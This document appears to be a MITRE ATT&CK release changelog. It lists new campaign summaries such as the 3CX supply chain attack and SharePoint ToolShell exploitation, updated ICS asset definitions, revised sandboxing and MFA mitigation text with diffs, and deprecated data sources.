external_references{'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'}
x_mitre_contributorsEric Loui, CrowdStrike Intelligence
x_mitre_contributorsSerhii Melnyk, Trustwave SpiderLabs

Campaigns

enterprise-attack

New Campaigns

[C0057] 3CX Supply Chain Attack

Current version: 1.0

Description:

The 3CX Supply Chain Attack was the first publicly reported case of one supply chain compromise triggering another, leading to a cascading, two-stage intrusion. The initial supply chain attack began when a 3CX employee downloaded and executed a trojanized, end-of-life version of the X_Trader trading software from Trading Technologies. This provided UNC4736, a threat cluster associated with AppleJeus, access to the 3CX environment. From there UNC4736 compromised the Windows and macOS build environments used to distribute the 3CX desktop application to their customers.(Citation: Mandiant 3cx UNC4736 2023) While 3CX serves more than 600,000 customers and 12 million users, only a subset of systems were affected. Subsequent targeting focused on victims in the defense and cryptocurrency sectors, where attackers deployed secondary payloads such as Gopuram for credential theft and persistence.(Citation: Kaspersky 3CX Gopuram 2023) The campaign began in late 2022 and was disrupted after security vendors publicly reported the compromise in March 2023.(Citation: 3cx official statement 2023)(Citation: Krebs 3cx overview 2023)


[C0055] Quad7 Activity

Current version: 1.0

Description:

Quad7 Activity, also known as CovertNetwork-1658 or the 7777 Botnet, is a network of compromised small office/home office (SOHO) routers. (Citation: Bitsight 7777 Botnet) (Citation: Microsoft Storm-0940) The botnet was initially composed primarily of TP-Link routers and was named Quad7 due to compromised devices exposing TCP port 7777 with the distinctive banner xlogin. Later activity showed a significant increase in compromised Asus routers and the addition of new ports and banners, including TCP port 63256 displaying alogin. Quad7 infrastructure functions as a collection of egress IPs that various China-affiliated threat actors have used to conduct password-spraying and brute-force operations. (Citation: Bitsight 7777 Botnet)(Citation: Medium 777-Botnet) Microsoft has reported that Storm-0940 leveraged credentials obtained through Quad7 Activity to target organizations in North America and Europe, including government agencies, non-governmental organizations, think tanks, law firms, energy firms, IT providers, and defense industrial base entities. (Citation: Microsoft Storm-0940)


[C0056] RedPenguin

Current version: 1.0

Description:

The RedPenguin project was launched by Juniper in July 2024 to investigate reported malware infections of Juniper MX Series routers. RedPenguin activity was separately attributed to UNC3886 and included the deployment of multiple custom versions of the publicly-available TINYSHELL backdoor on Juniper routers.(Citation: Juniper RedPenguin MAR 2025)(Citation: Mandiant UNC3886 Juniper Routers MAR 2025)


[C0059] Salesforce Data Exfiltration

Current version: 1.0

Description:

The Salesforce Data Exfiltration campaign began in October 2024 with financially-motivated threat actor UNC6040 using Spearphishing Voice (vishing) to compromise corporate Salesforce instances for large-scale data theft and extortion. Following the initial data theft, victim organizations received extortion demands from a separate threat actor, UNC6240, who claimed to be the “ShinyHunters” group. The observed infrastructure and TTPs used during the Salesforce Data Exfiltration campaign overlap with those used by threat groups with suspected ties to the broader collective known as "The Com.” These overlaps could plausibly be the result of associated actors operating within the same communities and are not necessarily an indication of a direct operational relationship.(Citation: FBI Salesforce Data Theft SEP 2025)(Citation: Google Salesforce JUN 2025)


[C0058] SharePoint ToolShell Exploitation

Current version: 1.0

Description:

The SharePoint ToolShell Exploitation campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompetely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors Threat Group-3390 and ZIRCONIUM. SharePoint ToolShell Exploitation targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.(Citation: Microsoft SharePoint Exploit JUL 2025)(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)(Citation: Eye Research ToolShell JUL 2025)(Citation: ESET ToolShell JUL 2025)(Citation: Trend Micro SharePoint Attacks JUL 2025)

Minor Version Changes

[C0014] Operation Wocao

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:45.828000+00:002025-10-21 03:04:25.546000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2
Patches

[C0024] SolarWinds Compromise

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-03 18:50:55.787000+00:002025-09-19 15:16:28.463000+00:00
external_references[5]['description']Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.
x_mitre_attack_spec_version3.2.03.3.0

Assets

ics-attack

New Assets

[A0017] Distributed Control System (DCS) Controller

Current version: 1.0

Description:

A Distributed Control System (DCS) Controller is a microprocessor unit that is used to manage automation processes. DCS Controllers are often found in plants (chemical, manufacturing, oil and gas, etc.) where large scale continuous automation processes are required. A DCS Controller typically operates as part of a larger networked system with other DCS Controllers where each DCS Controller manages an individual part of a continuous process. In addition to these other controllers, DCS Controllers operate along side multiple other system components including system software, operator stations, and other embedded field controllers. The distributed nature of DCS Controllers provides scalability, redundancy, and improved process reliability. DCS Controllers are programmed using traditional process automation programming languages (IEC-61131).


[A0016] Firewall

Current version: 1.0

Description:

A gateway that limits access between networks in accordance with local security policy.

+

In ICS networks, firewalls can exist in multiple locations in the network architecture and serve a variety of purposes. The first, and often the most important, is the firewall segmenting the ICS network from the business network. This firewall acts as the primary network boundary point that controls the ingress/egress of network traffic between the ICS and business networks. This firewall may also be a single device connected to multiple network segments, where the firewall defines individual zones for the different network segments and can control access to the zones and between the zones. This can limit the ability of an adversary to traverse a network.


[A0018] Programmable Automation Controller (PAC)

Current version: 1.0

Description:

A Programmable Automation Controller (PAC) is an embedded programmable control device. PACs are designed to enable automation applications across integrated software applications, peer controllers (e.g., PLC), Human Machine Interfaces, and other systems. PACs often include advanced features for process control, motion control, drive control, and vision applications. PACs are programmed using traditional process automation programming languages (IEC-61131) and sometimes languages such as C and C++ to support more advanced controls.


[A0015] Switch

Current version: 1.0

Description:

A switch is a network device that connects endpoints (e.g., workstations, servers, HMIs, PLCs, etc.) so that they can communicate and share data and resources. Switches may operate at either Layer 2 or Layer 3 of the OSI Model and intelligently forward packets across the network based on the specified address (Media Access Control (MAC) address for Layer 2 and Internet Protocol (IP) address for Layer 3). Switches are typically used to define network segments and connect the devices within a particular level of the Purdue Model.

Major Version Changes

[A0008] Application Server

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_related_assets[{'name': 'File Server', 'related_asset_sectors': ['General'], 'description': 'Server designed to house files within the ICS environment and/or securely transfer files between the ICS and enterprise networks.'}, {'name': 'License Server', 'related_asset_sectors': ['General'], 'description': 'Vendor-specific server that operates and maintains application licenses for different ICS applications to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Update / Patch Management Server', 'related_asset_sectors': ['General'], 'description': 'Server capable of providing updates and/or patches to computers with general purpose operating systems (e.g. MS Windows or Linux) within the ICS environment to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Domain Controller (DC)', 'related_asset_sectors': ['General'], 'description': 'MS Windows server used for enforcing security policies and role-based access control (RBAC) rules and managing identity and access management (IAM) policies within a network.'}, {'name': 'Database Server', 'related_asset_sectors': ['General'], 'description': 'MS Windows (primarily) server used for tracking long-term point information, control sheets, license information, trends, etc. Paired with a Domain Controller and in some cases may be installed on the same machine functioning as a domain controller. MS SQL & Oracle are common types of database software found. '}, {'name': 'Alarm Collector', 'related_asset_sectors': ['General'], 'description': 'Server that is a target of device/server alarms for a distributed system. Some workstations or servers may have the job as the alarm collector and may only be a process/service running on the machine. '}, {'name': 'Asset Management Server', 'related_asset_sectors': ['General'], 'description': 'A vendor-specific piece of software that collects information about vendor hardware or allows for configuration of that hardware (i.e., FactoryTalk Asset Center). May also be known as: Field Device Management. '}, {'name': 'Telemetry Server', 'related_asset_sectors': ['General'], 'description': 'Servers that collect Layer 2 communications or information and send via Layer 3 to other network segments or outside the control zone for collection (examples: PI Feeder, Remote Data Server). '}]
values_changed
STIX FieldOld valueNew Value
modified2023-10-04 17:46:20.340000+00:002025-10-22 15:13:16.424000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[A0007] Control Server

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-04 18:09:59.538000+00:002025-10-21 19:58:01.290000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_related_assets[2]['name']Supervisory controllerSupervisory Controller
x_mitre_related_assets[3]['description']A DMS and EMS are electric sector specific devices that are commonly used to manage distribution and transmission-level electrical grids. These platforms typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). A DMS and EMS are electric sector-specific systems that are commonly used to manage distribution and transmission-level electrical grids. These systems typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). These systems also maintain visibility (and in some cases control) through a variety of integrated and distributed automation systems.
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsEmbedded
x_mitre_related_assets{'name': 'Building Management / Automation System (BMS / BAS)', 'related_asset_sectors': ['General'], 'description': 'A controller (or set of controllers) that manages functionality for many common commercial / industrial buildings, such as heating, ventilation, and air conditioning (HVAC), lighting, elevators, etc.'}
x_mitre_related_assets{'name': 'Manufacturing Execution System (MES)', 'related_asset_sectors': ['Manufacturing'], 'description': 'A controller that oversees the performance, efficiency, life cycle, and resourcing for a manufacturing process within the ICS environment at a facility. A MES may interact with an Enterprise Resource Planning (ERP) system in the business environment to coordinate resourcing and job planning.'}

[A0009] Data Gateway

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Data Gateway is a device that supports the communication andt1Data Gateway is a device that supports the communication and
> exchange of data between different systems, networks, or pr> exchange of data between different systems, networks, or pr
>otocols within the ICS. Different types of data gateways are>otocols within the ICS. Different types of data gateways are
> used to perform various functions, including:   *  <u>Proto> used to perform various functions, including:   *  <u>Proto
>col Translation:</u> Enable communication to devices that su>col Translation:</u> Enable communication to devices that su
>pport different or incompatible protocols by translating inf>pport different or incompatible protocols by translating inf
>ormation from one protocol to another.   *  <u>Media Convert>ormation from one protocol to another.   *  <u>Media Convert
>er:</u> Convert data across different Layer 1 and 2 network >er:</u> Convert data across different Layer 1 and 2 network 
>protocols / mediums, for example, converting from Serial to >protocols / mediums, for example, converting from Serial to 
>Ethernet.   *  <u>Data Aggregation:</u> Collect and combine >Ethernet.   *  <u>Data Aggregation:</u> Collect and combine 
>data from different devices into one consistent format and p>data from different devices into one consistent format and p
>rotocol interface.   Data gateways are often critical to the>rotocol interface.  *  <u>Data Mirroring:</u> Create a real-
> forwarding/transmission of critical control or monitoring d>time, exact copy of data streams from devices to a separate 
>ata within the ICS. Further, these devices often have remote>destination for redundancy, monitoring, or backup purposes. 
> various network services that are used to communicate acros> Data gateways are often critical to the forwarding/transmis
>s different zones or networks.    These assets may focus on >sion of critical control or monitoring data within the ICS. 
>a single function listed below or combinations of these func>Further, these devices often have remote various network ser
>tions to best fit the industry use-case.  >vices that are used to communicate across different zones or
 > networks.    These assets may focus on a single function li
 >sted below or combinations of these functions to best fit th
 >e industry use-case.  
Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-04 18:08:33.386000+00:002025-10-21 19:43:43.474000+00:00
descriptionData Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: + + * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. + * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. + * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. + +Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. + +These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. +Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: + + * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. + * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. + * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. +* Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes. + +Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. + +These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. +
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsNetwork
x_mitre_related_assets{'name': 'Industrial Edge', 'related_asset_sectors': ['General'], 'description': 'Devices that may house a cellular or other type of communication stack that is outside the normal network path. May be bi-directional access by outside parties or unidirectional by design to allow for feeding of data to outside areas such as corporate, vendor, or cloud.'}

[A0006] Data Historian

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Data historians, or historian, are systems used to collect at1Data historians, or historian, are systems used to collect a
>nd store data, including telemetry, events, alerts, and alar>nd store data, including telemetry, events, alerts, and alar
>ms about the operational process and supporting devices. The>ms about the operational process and supporting devices. The
> historian typically utilizes a database to store this data,> historian typically utilizes a database to store this data,
> and commonly provide tools and interfaces to support the an> and commonly provide tools and interfaces to support the an
>alysis of the data. Data historians are often used to suppor>alysis of the data. Data historians are often used to suppor
>t various engineering or business analysis functions and the>t various engineering or business analysis functions and the
>refore commonly needs access from the corporate network. Dat>refore commonly needs access from the corporate network. Dat
>a historians often work in a hierarchical paradigm where low>a historians often work in a hierarchical paradigm where low
>er/site level historians collect and store data which is the>er/site level historians collect and store data which is the
>n aggregated into a site/plant level historian. Therefore, d>n aggregated into a site/plant level historian. Therefore, d
>ata historians often have remote services that can be access>ata historians often have remote services that can be access
>ed externally from the ICS network.>ed externally from the ICS network. Many data historian vend
 >ors have designed their software to securely transfer data b
 >etween the ICS and business networks instead of requiring bu
 >siness systems to access the data historian in the ICS netwo
 >rk directly.
Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-04 17:57:56.558000+00:002025-10-21 19:55:17.864000+00:00
descriptionData historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network.Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. Many data historian vendors have designed their software to securely transfer data between the ICS and business networks instead of requiring business systems to access the data historian in the ICS network directly.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[A0014] Routers

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-16 18:49:26.400000+00:002025-10-21 19:56:56.316000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsNetwork

[A0001] Workstation

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-28 14:23:52.358000+00:002025-10-21 19:58:23.607000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsLinux

Mitigations

enterprise-attack

Minor Version Changes

[M1048] Application Isolation and Sandboxing

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Application Isolation and Sandboxing refers to the techniquet1Application Isolation and Sandboxing refers to the technique
> of restricting the execution of code to a controlled and is> of restricting the execution of code to a controlled and is
>olated environment (e.g., a virtual environment, container, >olated environment (e.g., a virtual environment, container, 
>or sandbox). This method prevents potentially malicious code>or sandbox). This method prevents potentially malicious code
> from affecting the rest of the system or network by limitin> from affecting the rest of the system or network by limitin
>g access to sensitive resources and critical operations. The>g access to sensitive resources and critical operations. The
> goal is to contain threats and minimize their impact. This > goal is to contain threats and minimize their impact. This 
>mitigation can be implemented through the following measures>mitigation can be implemented through the following measures
>:  Browser Sandboxing:  - Use Case: Implement browser sandbo>:  Browser Sandboxing:  - Use Case: Implement browser sandbo
>xing to isolate untrusted web content, preventing malicious >xing to isolate untrusted web content and prevent malicious 
>web pages or scripts from accessing sensitive system files. >web pages or scripts from accessing sensitive system resourc
>- Implementation: Use tools like Google Chrome's built-in sa>es or initiating unauthorized downloads. - Implementation: U
>ndbox or deploy solutions like Bromium to secure user web in>se browsers with built-in sandboxing features (e.g., Google 
>teractions.  Application Virtualization:  - Use Case: Deploy>Chrome, Microsoft Edge) or deploy enhanced browser security 
> critical or high-risk applications in a virtualized environ>frameworks that limit the execution scope of active content.
>ment to ensure any compromise does not affect the host syste> Consider controls that monitor or restrict script-based fil
>m. - Implementation: Use application virtualization platform>e generation and downloads commonly abused in evasion techni
>s to run applications in isolated environments.  Email Attac>ques like HTML smuggling.  Application Virtualization:  - Us
>hment Sandboxing:  - Use Case: Route email attachments to a >e Case: Deploy critical or high-risk applications in a virtu
>sandbox environment to detect and block malware before deliv>alized environment to ensure any compromise does not affect 
>ering emails to end-users. - Implementation: Integrate secur>the host system. - Implementation: Use application virtualiz
>ity solutions with sandbox capabilities to analyze email att>ation platforms to run applications in isolated environments
>achments.  Endpoint Sandboxing:  - Use Case: Run all downloa>.  Email Attachment Sandboxing:  - Use Case: Route email att
>ded files and applications in a restricted environment to mo>achments to a sandbox environment to detect and block malwar
>nitor their behavior for malicious activity. - Implementatio>e before delivering emails to end-users. - Implementation: I
>n: Use endpoint protection tools for sandboxing at the endpo>ntegrate security solutions with sandbox capabilities to ana
>int level.>lyze email attachments.  Endpoint Sandboxing:  - Use Case: R
 >un all downloaded files and applications in a restricted env
 >ironment to monitor their behavior for malicious activity. -
 > Implementation: Use endpoint protection tools for sandboxin
 >g at the endpoint level.
Details
values_changed
STIX FieldOld valueNew Value
modified2024-12-10 16:09:19.285000+00:002025-05-09 16:23:40.086000+00:00
descriptionApplication Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: + +Browser Sandboxing: + +- Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files. +- Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions. + +Application Virtualization: + +- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. +- Implementation: Use application virtualization platforms to run applications in isolated environments. + +Email Attachment Sandboxing: + +- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. +- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments. + +Endpoint Sandboxing: + +- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. +- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: + +Browser Sandboxing: + +- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads. +- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling. + +Application Virtualization: + +- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. +- Implementation: Use application virtualization platforms to run applications in isolated environments. + +Email Attachment Sandboxing: + +- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. +- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments. + +Endpoint Sandboxing: + +- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. +- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.
x_mitre_version1.21.3
Patches

[M1032] Multi-factor Authentication

Current version: 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Multi-Factor Authentication (MFA) enhances security by requit1Multi-Factor Authentication (MFA) enhances security by requi
>ring users to provide at least two forms of verification to >ring users to provide at least two forms of verification to 
>prove their identity before granting access. These factors t>prove their identity before granting access. These factors t
>ypically include:  - *Something you know*: Passwords, PINs. >ypically include:  - *Something you know*: Passwords, PINs. 
>- *Something you have*: Physical tokens, smartphone authenti>- *Something you have*: Physical tokens, smartphone authenti
>cator apps. - *Something you are*: Biometric data such as fi>cator apps. - *Something you are*: Biometric data such as fi
>ngerprints, facial recognition, or retinal scans.  Implement>ngerprints, facial recognition, or retinal scans.  Implement
>ing MFA across all critical systems and services ensures rob>ing MFA across all critical systems and services ensures rob
>ust protection against account takeover and unauthorized acc>ust protection against account takeover and unauthorized acc
>ess. This mitigation can be implemented through the followin>ess. This mitigation can be implemented through the followin
>g measures:  Identity and Access Management (IAM):  - Use IA>g measures:  Identity and Access Management (IAM):  - Use IA
>M solutions like Azure Active Directory, Okta, or AWS IAM to>M solutions like Azure Active Directory, Okta, or AWS IAM to
> enforce MFA policies for all user logins, especially for pr> enforce MFA policies for all user logins, especially for pr
>ivileged roles. - Enable conditional access policies to enfo>ivileged roles. - Enable conditional access policies to enfo
>rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc>rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc
>ations).  Authentication Tools and Methods:  - Use authentic>ations). - Enable Conditional Access policies to only allow 
>ator applications such as Google Authenticator, Microsoft Au>logins from trusted devices, such as those enrolled in Intun
>thenticator, or Authy for time-based one-time passwords (TOT>e or joined via Hybrid/Entra.  Authentication Tools and Meth
>P). - Deploy hardware-based tokens like YubiKey, RSA SecurID>ods:  - Use authenticator applications such as Google Authen
>, or smart cards for additional security. - Enforce biometri>ticator, Microsoft Authenticator, or Authy for time-based on
>c authentication for compatible devices and applications.  S>e-time passwords (TOTP). - Deploy hardware-based tokens like
>ecure Legacy Systems:  - Integrate MFA solutions with older > YubiKey, RSA SecurID, or smart cards for additional securit
>systems using third-party tools like Duo Security or Thales >y. - Enforce biometric authentication for compatible devices
>SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for V> and applications.  Secure Legacy Systems:  - Integrate MFA 
>PNs, RDP, and other network logins.  Monitoring and Alerting>solutions with older systems using third-party tools like Du
>:  - Use SIEM tools to monitor failed MFA attempts, login an>o Security or Thales SafeNet. - Enable RADIUS/NPS servers to
>omalies, or brute-force attempts against MFA systems. - Impl> facilitate MFA for VPNs, RDP, and other network logins.  Mo
>ement alerts for suspicious MFA activities, such as repeated>nitoring and Alerting:  - Use SIEM tools to monitor failed M
> failed codes or new device registrations.  Training and Pol>FA attempts, login anomalies, or brute-force attempts agains
>icy Enforcement:  - Educate employees on the importance of M>t MFA systems. - Implement alerts for suspicious MFA activit
>FA and secure authenticator usage. - Enforce policies that r>ies, such as repeated failed codes or new device registratio
>equire MFA on all critical systems, especially for remote ac>ns.  Training and Policy Enforcement:  - Educate employees o
>cess, privileged accounts, and cloud applications.>n the importance of MFA and secure authenticator usage. - En
 >force policies that require MFA on all critical systems, esp
 >ecially for remote access, privileged accounts, and cloud ap
 >plications.
Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-02 17:29:15.914000+00:002025-05-09 15:48:18.053000+00:00
descriptionMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: + +- *Something you know*: Passwords, PINs. +- *Something you have*: Physical tokens, smartphone authenticator apps. +- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans. + +Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: + +Identity and Access Management (IAM): + +- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. +- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). + +Authentication Tools and Methods: + +- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). +- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. +- Enforce biometric authentication for compatible devices and applications. + +Secure Legacy Systems: + +- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. +- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. + +Monitoring and Alerting: + +- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. +- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. + +Training and Policy Enforcement: + +- Educate employees on the importance of MFA and secure authenticator usage. +- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: + +- *Something you know*: Passwords, PINs. +- *Something you have*: Physical tokens, smartphone authenticator apps. +- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans. + +Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: + +Identity and Access Management (IAM): + +- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. +- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). +- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra. + +Authentication Tools and Methods: + +- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). +- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. +- Enforce biometric authentication for compatible devices and applications. + +Secure Legacy Systems: + +- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. +- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. + +Monitoring and Alerting: + +- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. +- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. + +Training and Policy Enforcement: + +- Educate employees on the importance of MFA and secure authenticator usage. +- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.

Data Sources

enterprise-attack

Deprecations

[DS0026] Active Directory

Current version: 1.0

Description:

A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:52.686000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0015] Application Log

Current version: 1.1

Description:

Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:40:03.068000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0037] Certificate

Current version: 1.0

Description:

A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:54.643000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0025] Cloud Service

Current version: 1.0

Description:

Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 19:41:14.066000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0010] Cloud Storage

Current version: 1.0

Description:

Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 19:42:50.489000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:26.880000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_deprecatedFalseTrue

[DS0032] Container

Current version: 1.0

